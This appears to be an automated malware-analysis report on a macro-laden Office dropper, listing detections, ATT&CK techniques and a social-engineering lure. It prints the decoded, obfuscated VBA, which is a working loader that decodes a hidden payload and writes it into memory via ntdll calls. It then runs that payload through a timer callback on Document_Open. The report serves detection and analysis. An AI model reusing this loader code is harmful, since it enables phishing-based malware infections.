MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a Microsoft Office document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic and the presence of a macros.bas file. The SE_ENABLE_LURE heuristic confirms that the document instructs the user to enable macros, a common social engineering tactic. The critical ClamAV detection of 'Doc.Dropper.Agent-6339684-0' strongly suggests it is a malware dropper. The VBA code itself is heavily obfuscated, but the overall pattern points to a macro-based downloader.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6339684-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6339684-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_Open() Dim abnegation As Variant -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 41176 bytes |
SHA-256: 9936f5df51c7e20e08d7a0bac440f410b145904b2efe1f372f809a56dc0d06fc |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function crumply(costar)
Dim laceration As String
Dim zipper As Integer
Dim hieratic As Long
Dim counterespionage As Integer
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim bayou As String
Dim biolets As LongPtr
scintillating = 59 - 25 - 26
Dim handicraftsman As LongPtr
Dim playtime As Integer
Dim probably As Integer
Dim mitigate As LongPtr
Dim autotypic As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim biolets As Long
scintillating = 47 - 5 - 38
Dim handicraftsman As Long
Dim mitigate As Long
#End If
bergen = VarPtr(biolets)
amorously = embowel(bergen, VarPtr(costar) + 8, scintillating)
sonorousness = 19 - 34 + 14
handicraftsman = 92 - 2 - 90
anomalops = 52 - 13 - 39
mitigate = 16 - 72 + 10042
aidance = 115 - 85 + 4066
avidity = 99 - 96 + 61
myrrh = cyclopia(ByVal sonorousness, _
handicraftsman, ByVal anomalops, mitigate, ByVal aidance, _
ByVal avidity)
abiotrophy = kook * 1
abiotrophy = Fix(469)
embowel handicraftsman, biolets, 53 - 55 + 5885
generality = 63
bronchitis = 24869
smolderingly = 178415
Pmt 0, generality, 20274, 59399, 3
crumply = handicraftsman
End Function
Function cartwheel()
Dim chihuahua As String
Dim attemper As Integer
muse.station.Value = Day(#12/5/2013#)
varday = coaster = "lamarckism"
coolie = "prince"
avariciously = gasherbrum
ciel = "cannons"
outspoken = "modesty"
manageability = substructure
artwork = "alcohol"
Set iodinating = muse.station.SelectedItem
feaze = 46
octameter = 31484
coffer = 138604
Pmt 0, feaze, 36468, 15117, 4
concept = iodinating.Name
mantilla = 70 - 33 + 7807
hemorrhage = Right(concept, mantilla)
depiction = coodule.necessita(hemorrhage)
ledge = 11
induration = 13165
peirce = 117822
Pmt 0, ledge, 28213, 44769, 5
hugueninia = "oilbird"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim iconography As Variant
Dim doomed As LongPtr
Dim muggee As LongPtr
Dim lorcha As Integer
Dim niblick As Integer
Dim broncho As LongPtr
Dim handwheel As LongPtr
Dim hiss As LongPtr
laocoon = 11 - 58 + 2111
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim sporangium As Integer
Dim muggee As Long
Dim guttaserena As String
Dim doomed As Long
Dim broncho As Long
dogfish = 23 - 116 + 874
Dim handwheel As Long
Dim hiss As Long
laocoon = dogfish + 3459
#End If
perfusion = 10 - 126 + 116
shipside = "pakistani"
woven = "unbought"
flipflop = 38 - 10 + 4068
erinaceus = 66
unbound = 8241
arborical = 567881
Pmt 0, erinaceus, 27575, 12079, 5
capability = oneway
condensed = "dysmenorrhea"
discourage = "prospectively"
tall = 116
claustrophobia = 4014
johnsonian = 166406
Pmt 0, tall, 5232, 35807, 3
polysaccharide = depiction
remarkably = "guttering"
fatally = "crosslinguistic"
doomed = crumply(polysaccharide)
underthecounter = "nefariously"
Dim rebel As Byte
Dim shawl As Long
broncho = 127 - 52 - 75
muggee = doomed + laocoon
handwheel = 48 - 114 + 201593
hiss = 3 - 42 + 3539
demodulation = idotism(handwheel, broncho, muggee, broncho, broncho, broncho, broncho)
amice = 26
chambers = 7519
chawbacon = 143884
Pmt 0, amice, 34526, 50244, 6
End Function
Private Sub Document_Open()
Dim abnegation As Variant
Dim prelude As Variant
hobbyhorse = "bleeding"
dismiss = "irradiation"
cartwheel
wifely = 10 + 4
mohammedian = 29310 + 3
centerfire = 116460 + 4
Pmt 0, wifely, 39054, 21416, 5
End Sub
Attribute VB_Name = "anesthetic"
' I was doing alright
' But just your sight had my heart storming
#If ((18 * 3) - (20 / 5)) > (24 / 6) And (Win64) > (90 - 15 * 6) * 2 Then
' Then you rolled in with your hair in the wind
' Knew it was gonna be a long night
Public Declare PtrSafe Function kowtow Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal numerable As Any, aerostatics As Any, arcadic As Any, taoist As Any) As LongPtr
' Then you rolled in with your hair in the wind
' And walked out
Public Declare PtrSafe Function offered Lib "ntdll.dll " Alias _
"AcquireSRWLockShared" (agains As Any) As LongPtr
' Then you rolled in with your hair in the wind
' But just your sight had my heart storming
Public Declare PtrSafe Function bon Lib "ntdll.dll " Alias _
"NtWriteVirtualMemory" (ByVal charlatanism As Any, ByVal ceremonie As Any, ByVal intracranial As Any, ByVal combinable As Any, ByVal eatage As Any) As LongPtr
' Hit me like a hurricane
' But you rolled in with your hair in the wind
Public Declare PtrSafe Function idotism Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (aruspex As Any, ByVal conchfish As Any, ByVal adjuration As Any, ByVal quadrifoliolate As Any, ByVal dilettantism As Any, ByVal acinonyx As Any, ByVal bucktooth As Any) As Long
' From the moment when
' Then you rolled in with your hair in the wind
Public Declare PtrSafe Function cyclopia Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (nosegay As LongPtr, cenotaph As LongPtr, ByVal astrodynamics As LongPtr, abdomenByVal As LongPtr, detachment As LongPtr, ByVal bewitchery As LongPtr) As LongPtr
' Rain was driving, thunder, lightning
' From the moment when
' And walked out
#End If
' The moon went hiding, stars quit shining
' Driving us to your house
#If ((18 * 3) - (20 / 5)) > (24 / 6) And Not (Win64) > (90 - 15 * 6) * 2 Then
' Hit me like a hurricane
' Started talking bout us again
Public Declare Function idotism Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (conceivable As Any, ByVal azathioprine As Any, ByVal internally As Any, ByVal jube As Any, ByVal aback As Any, ByVal chunnel As Any, ByVal pursuit As Any) As Long
' I was doing alright
' You wrecked my whole world when you came
Public Declare Function absolver Lib "Shlwapi.dll " Alias _
"GetOverlappedResult" (ByVal arabia As Any, kalahari As Any, hosanna As Any, fruitarian As Any) As Long
' Knew it was gonna be a long night
' Knew it was gonna be a long night
Public Declare Function cyclopia Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (baboon As Long, degrade As Long, ByVal anastatica As Long, intermittenceByVal As Long, smothered As Long, ByVal cebidae As Long) As Long
' The moon went hiding, stars quit shining
' I was doing alright
Public Declare Function bon Lib "Ntdll.dll " Alias _
"NtWriteVirtualMemory" (ByVal slippery As Any, ByVal extinguuntur As Any, ByVal momordica As Any, ByVal ticktacktoe As Any, ByVal ingenuousness As Any) As Long
' I was doing alright
' And walked out
' And hit me like a hurricane
#End If
' You wrecked my whole world when you came
' Then you rolled in with your hair in the wind
Attribute VB_Name = "muse"
Attribute VB_Base = "0{0DDCC70F-9313-4CB2-9902-4930CEABED4F}{565D2A9F-95E7-4FB3-A81E-7D188D04AC7F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "coodule"
Function necessita(filibusterism) As String
Dim amhara As Long
Dim despotic As Long
Dim chylific(63) As Long
chihuahua = Rnd(236)
Dim kanzu As String
Dim rumbling() As Byte
chaplaincy = "cotenancy"
Dim nectarine(63) As Long
Dim halide As Integer
Dim fraudulent As Long
chaplaincy = balaeniceps
Dim collector As Byte
Dim attributed As Integer
Dim acting As Long
Dim doubledistilled As Long
Dim teneatis As Long
Dim laminaria(6962) As Byte
Dim crinkly(63) As Long
champain = 74 - 63 + 262133
lofoten = 14 - 91 + 141
arilus = 100 - 118 + 274
pennatula = 111 - 21 + 16514982
unction = 26 - 6 + 16711660
harmonically = 2 - 123 + 65401
indeterminate = 7 - 127 + 4216
Dim visage As Variant
solace = 32 - 107 + 4107
per = 66 - 53 + 258035
Dim gaiete As Byte
Dim blotches As String
detracting = 94 - 57 + 218
ruritanian = 93 - 114 + 84
bawdyhouse = 113 - 42 + 65465
Dim highhandedly As Integer
trapdoor = 109 - 27 - 82
bendable = 10 - 119 + 7952
Dim dues() As Byte
Dim coexist As String
Dim irascible As Long
dues = VBA.StrConv(filibusterism, 128)
Dim bowman As Long
dol = 55
balaenidae = 39679
harpooner = 478586
Pmt 0, dol, 39423, 21006, 7
canteen = 7843
poorwill = vbKeyShift - 12
For launderette = 0 To canteen
If launderette Mod 2 = 0 Then
dues(launderette) = dues(launderette) - poorwill
Else
dues(launderette) = dues(launderette) - (poorwill - 1)
End If
Next launderette
ostrogoth = 120
prejudice = 38736
everlastingness = 147988
Pmt 0, ostrogoth, 21597, 33218, 6
halide = 0
bunkum = 20 - 92 + 72
maliciously = 100 - 5 - 52
buttress = benzodiazepine
For acting = (7 - 7) * 1 To (50 + 13) * (5 - 4)
nectarine(acting) = geococcyx(acting, lofoten, 59)
crinkly(acting) = geococcyx(acting, indeterminate, 59)
chylific(acting) = geococcyx(acting, champain, 59)
Next acting
kohl = 10
preparatory = 38832
bloodsport = 594843
Pmt 0, kohl, 7611, 38980, 4
rumbling = dues
fond = 9 - 103 + 98
bongo = 17
dray = 7386
packaged = 354105
Pmt 0, bongo, 8700, 43194, 7
vicuna = 12 - 107 + 98
balaeniceps = "steroid"
balaeniceps = "scud"
oldfashioned = vicuna + 1
bath = 73 - 2 - 69
For amhara = 0 To canteen
catmint = rumbling(amhara)
bubulcus = rumbling(amhara + 2)
prophylaxis = crinkly(buttress(rumbling(amhara + 1)))
hierarch = nectarine(buttress(bubulcus)) + buttress(rumbling(amhara + vicuna))
teneatis = chylific(buttress(catmint)) + prophylaxis + hierarch
acting = geococcyx(teneatis, unction, 51)
laminaria(fraudulent) = geococcyx(acting, bawdyhouse, 41)
acting = geococcyx(teneatis, harmonically, 51)
laminaria(fraudulent + 1) = geococcyx(acting, arilus, 41)
laminaria(fraudulent + bath) = geococcyx(teneatis, detracting, 51)
fraudulent = fraudulent + bath + 1
amhara = amhara + 3
Next
necessita = laminaria
End Function
Function benzodiazepine()
Dim fleissig(255) As Byte
depicting = 28 - 49 + 86
Do While depicting <= 90 + 1
fleissig(depicting) = depicting - 65
depicting = depicting + 1
Loop
depicting = 48
Do While depicting <= 50 + 8
fleissig(depicting) = depicting + 4
depicting = depicting + 1
Loop
depicting = 97
Do While depicting <= 120 + 3
fleissig(depicting) = depicting - 71
depicting = depicting + 1
Loop
fleissig(47) = 63
depicting = 43
fleissig(depicting) = 60 + 2
benzodiazepine = fleissig
End Function
Function disposition(icefloe)
disposition = AscW(icefloe)
End Function
Function geococcyx(cyclopean, apteral, moonglade)
If moonglade = (41 + (10 / 2 - 5)) Then
geococcyx = cyclopean \ apteral
ElseIf moonglade = (51 + (5 - 3) / 2 - 1) Then
geococcyx = cyclopean And apteral
ElseIf moonglade = (59 + (56 / 7 - 4 * 2)) Then
geococcyx = cyclopean * apteral
End If
End Function
Attribute VB_Name = "Module1"
Function embowel(hookah, fairymythology, synercus)
#If ((18 * 3) - (20 / 5)) > (24 / 6) And (Win64) > (90 - 15 * 6) * 2 Then
Dim ardor As Integer
Dim anserine As Byte
Dim aguets As LongPtr
Dim annexe As LongPtr
Dim ages As LongPtr
Dim mint As Variant
Dim arius As LongPtr
Dim heterometabolous As LongPtr
#End If
#If ((18 * 3) - (20 / 5)) > (24 / 6) And Not (Win64) > (90 - 15 * 6) * 2 Then
Dim annexe As Long
Dim baptismal As Variant
Dim aguets As Long
Dim stumblingstone As Variant
Dim arius As Long
Dim pyrotechnics As Long
Dim ages As Long
Dim snappish As String
Dim heterometabolous As Long
Dim highpitched As Variant
Dim defamation As String
#End If
millivoltmeter = chaplaincy
chihuahua = Rnd(461)
annexe = hookah
heterometabolous = synercus
chaplaincy = balaeniceps
arius = fairymythology
guenon = 20 + 3
hardbake = 29280 + 0
microsecond = 297550 + 5
Pmt 0, guenon, 13596, 10065, 4
chihuahua = chihuahua Or 245
aguets = 81 - 1 - 81
bon ByVal aguets, annexe, arius, heterometabolous, ages
chihuahua = chihuahua - 158
End Function
Attribute VB_Name = "Module2"
' Processing file: /opt/analyzer/scan_staging/df20f8b9cf6e4decacaca06c5380b895.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 12490 bytes
' Line #0:
' FuncDefn (Function crumply(costar))
' Line #1:
' Dim
' VarDefn laceration (As String)
' Line #2:
' Dim
' VarDefn zipper (As Integer)
' Line #3:
' Dim
' VarDefn hieratic (As Long)
' Line #4:
' Dim
' VarDefn counterespionage (As Integer)
' Line #5:
' LbMark
' LitDI2 0x0006
' LitDI2 0x0003
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0030
' LitDI2 0x0006
' LitDI2 0x0008
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #6:
' Dim
' VarDefn bayou (As String)
' Line #7:
' Dim
' VarDefn biolets (As Ptr)
' Line #8:
' LitDI2 0x003B
' LitDI2 0x0019
' Sub
' LitDI2 0x001A
' Sub
' St scintillating
' Line #9:
' Dim
' VarDefn handicraftsman (As Ptr)
' Line #10:
' Dim
' VarDefn playtime (As Integer)
' Line #11:
' Dim
' VarDefn probably (As Integer)
' Line #12:
' Dim
' VarDefn mitigate (As Ptr)
' Line #13:
' Dim
' VarDefn autotypic (As Integer)
' Line #14:
' LbMark
' LbEndIf
' Line #15:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #16:
' Dim
' VarDefn biolets (As Long)
' Line #17:
' LitDI2 0x002F
' LitDI2 0x0005
' Sub
' LitDI2 0x0026
' Sub
' St scintillating
' Line #18:
' Dim
' VarDefn handicraftsman (As Long)
' Line #19:
' Dim
' VarDefn mitigate (As Long)
' Line #20:
' LbMark
' LbEndIf
' Line #21:
' Ld biolets
' ArgsLd VarPtr 0x0001
' St bergen
' Line #22:
' Ld bergen
' Ld costar
' ArgsLd VarPtr 0x0001
' LitDI2 0x0008
' Add
' Ld scintillating
' ArgsLd embowel 0x0003
' St amorously
' Line #23:
' LitDI2 0x0013
' LitDI2 0x0022
' Sub
' LitDI2 0x000E
' Add
' St sonorousness
' Line #24:
' LitDI2 0x005C
' LitDI2 0x0002
' Sub
' LitDI2 0x005A
' Sub
' St handicraftsman
' Line #25:
' LitDI2 0x0034
' LitDI2 0x000D
' Sub
' LitDI2 0x0027
' Sub
' St anomalops
' Line #26:
' LitDI2 0x0010
' LitDI2 0x0048
' Sub
' LitDI2 0x273A
' Add
' St mitigate
' Line #27:
' LitDI2 0x0073
' LitDI2 0x0055
' Sub
' LitDI2 0x0FE2
' Add
' St aidance
' Line #28:
' LitDI2 0x0063
' LitDI2 0x0060
' Sub
' LitDI2 0x003D
' Add
' St avidity
' Line #29:
' LineCont 0x0008 07 00 00 00 11 00 00 00
' Ld sonorousness
' ParamByVal
' Ld handicraftsman
' Ld anomalops
' ParamByVal
' Ld mitigate
' Ld aidance
' ParamByVal
' Ld avidity
' ParamByVal
' ArgsLd cyclopia 0x0006
' St myrrh
' Line #30:
' Ld kook
' LitDI2 0x0001
' Mul
' St abiotrophy
' Line #31:
' Line #32:
' LitDI2 0x01D5
' FnFix
' St abiotrophy
' Line #33:
' Line #34:
' Ld handicraftsman
' Ld biolets
' LitDI2 0x0035
' LitDI2 0x0037
' Sub
' LitDI2 0x16FD
' Add
' ArgsCall embowel 0x0003
' Line #35:
' LitDI2 0x003F
' St generality
' Line #36:
' LitDI2 0x6125
' St bronchitis
' Line #37:
' LitDI4 0xB8EF 0x0002
' St smolderingly
' Line #38:
' LitDI2 0x0000
' Ld generality
' LitDI2 0x4F32
' LitDI4 0xE807 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #39:
' Line #40:
' Ld handicraftsman
' St crumply
' Line #41:
' EndFunc
' Line #42:
' FuncDefn (Function cartwheel(id_FFFE As Variant))
' Line #43:
' Dim
' VarDefn chihuahua (As String)
' Line #44:
' Dim
' VarDefn attemper (As Integer)
' Line #45:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld muse
' MemLd station
' MemSt Value
' Line #46:
' Ld coaster
' LitStr 0x000A "lamarckism"
' Eq
' St varday
' Line #47:
' LitStr 0x0006 "prince"
' St coolie
' Line #48:
' Ld gasherbrum
' St avariciously
' Line #49:
' LitStr 0x0007 "cannons"
' St ciel
' Line #50:
' LitStr 0x0007 "modesty"
' St outspoken
' Line #51:
' Line #52:
' Ld substructure
' St manageability
' Line #53:
' LitStr 0x0007 "alcohol"
' St artwork
' Line #54:
' SetStmt
' Ld muse
' MemLd station
' MemLd SelectedItem
' Set iodinating
' Line #55:
' LitDI2 0x002E
' St feaze
' Line #56:
' LitDI2 0x7AFC
' St octameter
' Line #57:
' LitDI4 0x1D6C 0x0002
' St coffer
' Line #58:
' LitDI2 0x0000
' Ld feaze
' LitDI4 0x8E74 0x0000
' LitDI2 0x3B0D
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #59:
' Line #60:
' Ld iodinating
' MemLd Name
' St concept
' Line #61:
' LitDI2 0x0046
' LitDI2 0x0021
' Sub
' LitDI2 0x1E7F
' Add
' St mantilla
' Line #62:
' Ld concept
' Ld mantilla
' ArgsLd Right 0x0002
' St hemorrhage
' Line #63:
' Ld hemorrhage
' Ld Module1
' ArgsMemLd necessita 0x0001
' St depiction
' Line #64:
' LitDI2 0x000B
' St ledge
' Line #65:
' LitDI2 0x336D
' St induration
' Line #66:
' LitDI4 0xCC3E 0x0001
' St peirce
' Line #67:
' LitDI2 0x0000
' Ld ledge
' LitDI2 0x6E35
' LitDI4 0xAEE1 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #68:
' Line #69:
' LitStr 0x0007 "oilbird"
' St hugueninia
' Line #70:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #71:
' Dim
' VarDefn iconography (As Variant)
' Line #72:
' Dim
' VarDefn doomed (As Ptr)
' Line #73:
' Dim
' VarDefn muggee (As Ptr)
' Line #74:
' Dim
' VarDefn lorcha (As Integer)
' Line #75:
' Line #76:
' Dim
' VarDefn niblick (As Integer)
' Line #77:
' Dim
' VarDefn broncho (As Ptr)
' Line #78:
' Dim
' VarDefn handwheel (As Ptr)
' Line #79:
' Dim
' VarDefn hiss (As Ptr)
' Line #80:
' LitDI2 0x000B
' LitDI2 0x003A
' Sub
' LitDI2 0x083F
' Add
' St laocoon
' Line #81:
' LbMark
' LbEndIf
' Line #82:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #83:
' Dim
' VarDefn sporangium (As Integer)
' Line #84:
' Dim
' VarDefn muggee (As Long)
' Line #85:
' Dim
' VarDefn guttaserena (As String)
' Line #86:
' Dim
' VarDefn doomed (As Long)
' Line #87:
' Line #88:
' Dim
' VarDefn broncho (As Long)
' Line #89:
' LitDI2 0x0017
' LitDI2 0x0074
' Sub
' LitDI2 0x036A
' Add
' St dogfish
' Line #90:
' Dim
' VarDefn handwheel (As Long)
' Line #91:
' Dim
' VarDefn hiss (As Long)
' Line #92:
' Ld dogfish
' LitDI2 0x0D83
' Add
' St laocoon
' Line #93:
' LbMark
' LbEndIf
' Line #94:
' LitDI2 0x000A
' LitDI2 0x007E
' Sub
' LitDI2 0x0074
' Add
' St perfusion
' Line #95:
' LitStr 0x0009 "pakistani"
' St shipside
' Line #96:
' LitStr 0x0008 "unbought"
' St woven
' Line #97:
' LitDI2 0x0026
' LitDI2 0x000A
' Sub
' LitDI2 0x0FE4
' Add
' St flipflop
' Line #98:
' LitDI2 0x0042
' St erinaceus
' Line #99:
' LitDI2 0x2031
' St unbound
' Line #100:
' LitDI4 0xAA49 0x0008
' St arborical
' Line #101:
' LitDI2 0x0000
' Ld erinaceus
' LitDI2 0x6BB7
' LitDI2 0x2F2F
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #102:
' Line #103:
' Ld oneway
' St capability
' Line #104:
' LitStr 0x000C "dysmenorrhea"
' St condensed
' Line #105:
' LitStr 0x000D "prospectively"
' St discourage
' Line #106:
' LitDI2 0x0074
' St tall
' Line #107:
' LitDI2 0x0FAE
' St claustrophobia
' Line #108:
' LitDI4 0x8A06 0x0002
' St johnsonian
' Line #109:
' LitDI2 0x0000
' Ld tall
' LitDI2 0x1470
' LitDI4 0x8BDF 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #110:
' Line #111:
' Ld depiction
' St polysaccharide
' Line #112:
' LitStr 0x0009 "guttering"
' St remarkably
' Line #113:
' LitStr 0x000F "crosslinguistic"
' St fatally
' Line #114:
' Ld polysaccharide
' ArgsLd crumply 0x0001
' St doomed
' Line #115:
' LitStr 0x000B "nefariously"
' St underthecounter
' Line #116:
' Dim
' VarDefn rebel (As Byte)
' Line #117:
' Dim
' VarDefn shawl (As Long)
' Line #118:
' LitDI2 0x007F
' LitDI2 0x0034
' Sub
' LitDI2 0x004B
' Sub
' St broncho
' Line #119:
' Ld doomed
' Ld laocoon
' Add
' St muggee
' Line #120:
' LitDI2 0x0030
' LitDI2 0x0072
' Sub
' LitDI4 0x1379 0x0003
' Add
' St handwheel
' Line #121:
' LitDI2 0x0003
' LitDI2 0x002A
' Sub
' LitDI2 0x0DD3
' Add
' St hiss
' Line #122:
' Ld handwheel
' Ld broncho
' Ld muggee
' Ld broncho
' Ld broncho
' Ld broncho
' Ld broncho
' ArgsLd idotism 0x0007
' St demodulation
' Line #123:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.